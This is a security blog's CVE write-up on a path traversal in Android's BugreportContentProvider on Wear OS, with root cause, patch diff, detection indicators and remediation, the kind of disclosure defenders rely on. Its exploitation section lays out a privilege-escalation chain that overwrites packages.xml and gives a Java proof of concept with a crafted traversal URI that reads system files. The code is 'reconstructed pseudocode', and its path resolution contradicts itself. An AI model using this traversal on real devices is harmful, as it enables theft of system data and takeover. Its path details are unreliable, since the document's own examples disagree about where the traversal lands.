home intel cve-2025-48636-bugreport-path-traversal-privilege-escalation
CVE Analysis 2026-03-02 · 7 min read

CVE-2025-48636: Path Traversal in BugreportContentProvider Enables LPE

A path traversal in BugreportContentProvider.openFile() allows arbitrary file read/write with no additional privileges. Affects Wear OS; exploitable by any local app without user interaction.

#path-traversal#file-access#privilege-escalation#content-provider#authorization-bypass
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2025-48636 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2025-48636HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2025-48636 is a path traversal vulnerability in BugreportContentProvider.java, specifically in the openFile() method. The bug permits a local attacker to read and write files outside the intended bugreport directory by supplying a crafted URI containing traversal sequences. No additional execution privileges are required and no user interaction is needed, placing this squarely in the most dangerous tier of local privilege escalation bugs. CVSS 8.4 (HIGH) reflects the combination of local access requirement and the ability to reach arbitrary filesystem paths accessible to the system_server process.

The vulnerability was addressed in the Wear OS Security Bulletin for March 2026. The affected component ships as part of the Android platform framework and is present on devices running Wear OS with unpatched system images.

Root cause: BugreportContentProvider.openFile() constructs a file path by directly concatenating caller-supplied URI path segments without canonicalizing or bounding the result to the intended bugreport directory, enabling ../ traversal to arbitrary filesystem locations.

Affected Component

The vulnerable class lives in the Android framework at:

frameworks/base/core/java/android/os/BugreportContentProvider.java
  └─ openFile(Uri uri, String mode)

Process context : system_server (UID 1000)
ContentProvider : android.os.BugreportContentProvider
Authority       : com.android.shell.fileprovider  (varies by OEM)
Export state    : exported (required for shell/adb to retrieve bugreports)
SELinux domain  : system_server → untrusted_app IPC path via ContentResolver

Because system_server runs as UID 1000 with broad filesystem permissions, any file reachable by that UID becomes readable or writable through this provider.

Root Cause Analysis

The vulnerable logic reconstructs the on-disk path from the URI's last path segment and prepends the bugreport base directory. The canonical hardened pattern requires calling getCanonicalPath() and asserting the result still starts with the base directory prefix. That assertion is absent here.

// BugreportContentProvider.java — vulnerable openFile() (reconstructed pseudocode)
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {

    // uri.getLastPathSegment() returns attacker-controlled string, e.g.:
    //   "../../data/system/packages.xml"
    String fileName = uri.getLastPathSegment();          // BUG: no sanitization

    // BUGREPORT_DIR = "/data/user_de/0/com.android.shell/files/bugreports"
    File file = new File(BUGREPORT_DIR, fileName);       // BUG: traversal not resolved

    // file.getPath() is now:
    //   "/data/user_de/0/com.android.shell/files/bugreports/../../data/system/packages.xml"
    // which the OS resolves to:
    //   "/data/data/system/packages.xml"
    // No canonical path check performed before open.

    int modeBits = ParcelFileDescriptor.parseMode(mode); // "r", "w", "rw" — caller chosen
    return ParcelFileDescriptor.open(file, modeBits);    // BUG: opens arbitrary path
}

The new File(base, child) constructor in Java does not resolve .. components — it performs simple string concatenation with a separator. The OS kernel receives the raw path and resolves the traversal transparently. The missing check is:

// Missing guard (canonical path assertion):
String canonical = file.getCanonicalPath();
if (!canonical.startsWith(BUGREPORT_DIR + File.separator)) {
    throw new SecurityException("Path traversal detected: " + canonical);
}

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2025-48636 Local Privilege Escalation:

1. Attacker app holds zero special permissions (no READ_EXTERNAL_STORAGE, etc.)

2. Craft malicious URI targeting a privileged file:
      content://com.android.shell.fileprovider/bugreports/
        ..%2F..%2F..%2Fdata%2Fsystem%2Fpackages.xml

3. Call ContentResolver.openInputStream(uri) or openOutputStream(uri)
      → framework decodes percent-encoding before passing to getLastPathSegment()
      → decoded segment: "../../data/system/packages.xml"

4. BugreportContentProvider.openFile() constructs:
      new File("/data/user_de/0/com.android.shell/files/bugreports",
               "../../data/system/packages.xml")
      → resolved by kernel to: /data/system/packages.xml

5. ParcelFileDescriptor.open() succeeds; fd returned to caller
      → READ path: stream arbitrary system files into app private storage
      → WRITE path: overwrite packages.xml to inject fake package entries,
        granting attacker app elevated permissions on next PackageManager scan

6. Attacker writes crafted packages.xml granting INSTALL_PACKAGES permission
      → trigger PackageManager rescan (reboot or broadcast)
      → attacker app now holds system-level install capability

7. From INSTALL_PACKAGES: side-load backdoored APK with platform signature bypass
      → full system compromise

A minimal proof-of-concept trigger in Java:

// PoC — read /data/system/packages.xml via traversal
Uri traversalUri = Uri.parse(
    "content://com.android.shell.fileprovider/bugreports/" +
    "..%2F..%2F..%2Fdata%2Fsystem%2Fpackages.xml"
);
try (InputStream is = getContentResolver().openInputStream(traversalUri)) {
    byte[] buf = new byte[4096];
    int n;
    StringBuilder sb = new StringBuilder();
    while ((n = is.read(buf)) != -1) {
        sb.append(new String(buf, 0, n));
    }
    Log.d("POC", sb.toString()); // dumps packages.xml to logcat
}

Memory Layout

This is not a memory-corruption class bug; the primitive is a file descriptor hand-off. The relevant "layout" is the filesystem path resolution chain:

PATH RESOLUTION — BEFORE FIX:

  Caller URI segment (attacker string):
  ┌────────────────────────────────────────────────────────────┐
  │ "../../data/system/packages.xml"                           │
  └────────────────────────────────────────────────────────────┘
                        │
                        ▼  new File(BUGREPORT_DIR, segment)
  Raw path (not canonicalized):
  ┌────────────────────────────────────────────────────────────┐
  │ /data/user_de/0/com.android.shell/files/bugreports/        │
  │ ../../data/system/packages.xml                             │
  └────────────────────────────────────────────────────────────┘
                        │
                        ▼  kernel open(2) resolves ".."
  Actual inode accessed:
  ┌────────────────────────────────────────────────────────────┐
  │ /data/system/packages.xml   [owned: system / 1000]         │
  │ permissions: -rw-r-----  660                               │
  └────────────────────────────────────────────────────────────┘

PATH RESOLUTION — AFTER FIX:

  getCanonicalPath() resolves ".." eagerly in Java:
  canonical = "/data/system/packages.xml"

  Prefix check fails:
  "/data/system/packages.xml".startsWith(
      "/data/user_de/0/com.android.shell/files/bugreports/")
  → FALSE → SecurityException thrown → fd never opened

Patch Analysis

The fix adds a canonical path boundary check immediately after constructing the File object and before calling ParcelFileDescriptor.open().

// BEFORE (vulnerable) — BugreportContentProvider.java:
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    String fileName = uri.getLastPathSegment();
    File file = new File(BUGREPORT_DIR, fileName);
    // No path validation — opens whatever the kernel resolves
    return ParcelFileDescriptor.open(file, ParcelFileDescriptor.parseMode(mode));
}

// AFTER (patched — March 2026 Wear OS Security Bulletin):
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    String fileName = uri.getLastPathSegment();
    if (fileName == null) {
        throw new FileNotFoundException("Null file name in URI");
    }
    File file = new File(BUGREPORT_DIR, fileName);
    try {
        // getCanonicalPath() resolves all ".." and symlink components
        String canonical = file.getCanonicalPath();
        String base      = new File(BUGREPORT_DIR).getCanonicalPath()
                           + File.separator;
        if (!canonical.startsWith(base)) {
            // FIXED: Reject any path that escapes the bugreport directory
            throw new SecurityException(
                "Attempted path traversal in URI: " + uri);
        }
    } catch (IOException e) {
        throw new FileNotFoundException("Cannot resolve path: " + e.getMessage());
    }
    return ParcelFileDescriptor.open(file, ParcelFileDescriptor.parseMode(mode));
}

The getCanonicalPath() call is critical — it forces the JVM to resolve all .. components and symlinks before the prefix comparison, closing both the direct traversal and any symlink-based bypass that might otherwise survive a naive string check.

Detection and Indicators

Exploit attempts generate detectable artifacts in several log sources:

// SELinux denial (if policy enforced pre-patch):
avc: denied { read } for pid=XXXX comm="malicious.app"
  path="/data/system/packages.xml"
  scontext=u:r:untrusted_app:s0
  tcontext=u:object_r:system_data_file:s0
  tclass=file permissive=0

// ContentProvider access log (verbose logging enabled):
I ContentResolver: openTypedAssetFile uri=content://com.android.shell.fileprovider/
  bugreports/..%2F..%2Fdata%2Fsystem%2Fpackages.xml mode=r caller=malicious.app

// Bugreport directory file access anomaly:
// Legitimate access: path contains only filenames matching
//   /bugreport-[device]-[date]-[id].(zip|txt)
// Anomalous: path segment contains %2F or literal "/"

Detection rules should flag any ContentResolver call to the bugreport provider authority where the URI path segment contains %2F, %2f, .., or resolves outside /data/user_de/*/com.android.shell/.

Remediation

Apply the March 2026 Wear OS security patch. For devices where OTA deployment is delayed:

  • Restrict provider export: If bugreport retrieval via third-party apps is not required, set android:exported="false" on BugreportContentProvider in the manifest — this prevents untrusted apps from reaching openFile() entirely.
  • SELinux enforcement: Ensure SELinux is in enforcing mode; a well-scoped type enforcement policy for system_server will block cross-domain file access even if the Java layer is bypassed.
  • Application-level detection: On managed fleets, deploy a mobile threat defense agent that logs ContentProvider URI access patterns and alerts on traversal sequences in URI path components.
  • Code review guidance: Any ContentProvider.openFile() implementation accepting caller-supplied path components must call getCanonicalPath() and assert prefix containment before opening any file descriptor. The pattern new File(base, untrustedSegment) without canonicalization is a textbook path traversal antipattern in Android provider code.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →